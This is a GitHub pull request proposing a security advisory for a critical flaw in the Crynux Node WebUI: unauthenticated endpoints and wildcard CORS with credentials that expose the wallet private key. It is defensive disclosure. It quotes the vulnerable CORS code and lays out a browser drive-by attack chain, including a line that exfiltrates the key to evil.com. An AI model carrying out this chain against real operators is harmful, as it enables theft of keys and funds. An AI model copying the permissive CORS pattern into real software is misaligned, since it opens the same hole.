Skip to content

Add GHSA-5469-xxr8-3chv: Crynux Node Missing Authentication / Private Key Exposure (CRITICAL 9.8)#8811

Closed
senastor wants to merge 1 commit into
github:senastor/advisory-improvement-8811from
senastor:main
Closed

Add GHSA-5469-xxr8-3chv: Crynux Node Missing Authentication / Private Key Exposure (CRITICAL 9.8)#8811
senastor wants to merge 1 commit into
github:senastor/advisory-improvement-8811from
senastor:main

Conversation

@senastor

Copy link
Copy Markdown

New Advisory: Crynux Node — Missing Authentication + Permissive CORS Enables Remote Private Key Theft

Summary

The Crynux Node WebUI (FastAPI server on port 7412) has no authentication on any API endpoint and uses permissive CORS (allow_origins=["*"] with allow_credentials=True). This allows any website to silently extract the node operator's private key and replace it with an attacker's key via cross-origin JavaScript.

Severity

CRITICAL — CVSS 9.8 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H)

Affected Package

  • Ecosystem: PyPI (pip)
  • Package: crynux-node
  • Version range: >= 0.0.0 (all versions)

Vulnerable Code

src/crynux_server/server/middleware.py — CORS allows any origin with credentials:

origins = ["*"]
app.add_middleware(CORSMiddleware,
    allow_origins=origins,      # allows ANY origin
    allow_credentials=True,     # credentials with wildcard origin
    allow_methods=["*"],
    allow_headers=["*"],
)

src/crynux_server/server/v1/account.py — Returns private key in API response:

@router.post("", response_model=AccountWithKey)
async def create_account():
    acct = Account.create()
    privkey = acct.key.hex()
    return AccountWithKey(address=address, key=privkey)  # ← private key in response

Attack Chain (Browser CORS Drive-By)

  1. Victim visits any website containing attacker-controlled JavaScript
  2. JS sends POST http://localhost:7412/manager/v1/account (no auth, CORS allows)
  3. Response contains the full private key in plaintext
  4. JS sends PUT http://localhost:7412/manager/v1/account with attacker's key
  5. Key file overwritten — all future mining earnings redirected to attacker wallet
  6. Data exfiltrated silently via new Image().src = "https://evil.com/collect?key=..."

Verified Endpoints (No Auth Required)

Endpoint Method Data Exposed
/manager/v1/system GET GPU, CPU, RAM, OS, Node version
/manager/v1/account GET Wallet address, balance, staking amount
/manager/v1/account POST Full private key (new account creation)
/manager/v1/account PUT Key replacement (arbitrary key injection)
/manager/v1/node GET Node status, slashed state
/manager/v1/tasks GET Task statistics

Impact

  • Private key theft: Attacker obtains node's wallet private key
  • Wallet drain: Stolen key enables signing transactions, transferring all CNX + ETH
  • Key replacement: Attacker replaces key → all future mining earnings redirected
  • Persistence: Key replacement survives node restart
  • Silent: No visible indicator to victim; completes in <5 seconds
  • Scale: Any website visited by the node operator can trigger this attack

Public Disclosure

This vulnerability has been publicly disclosed via GitHub issue:
crynux-network/crynux-node#430

The repository does not have private vulnerability reporting enabled. The issue was filed publicly to ensure disclosure.

CWE

  • CWE-306: Missing Authentication for Critical Function
  • CWE-942: Permissive Cross-domain Policy with Untrusted Domains

References

@github-actions
github-actions Bot changed the base branch from main to senastor/advisory-improvement-8811 July 25, 2026 00:23
@senastor senastor closed this Jul 25, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant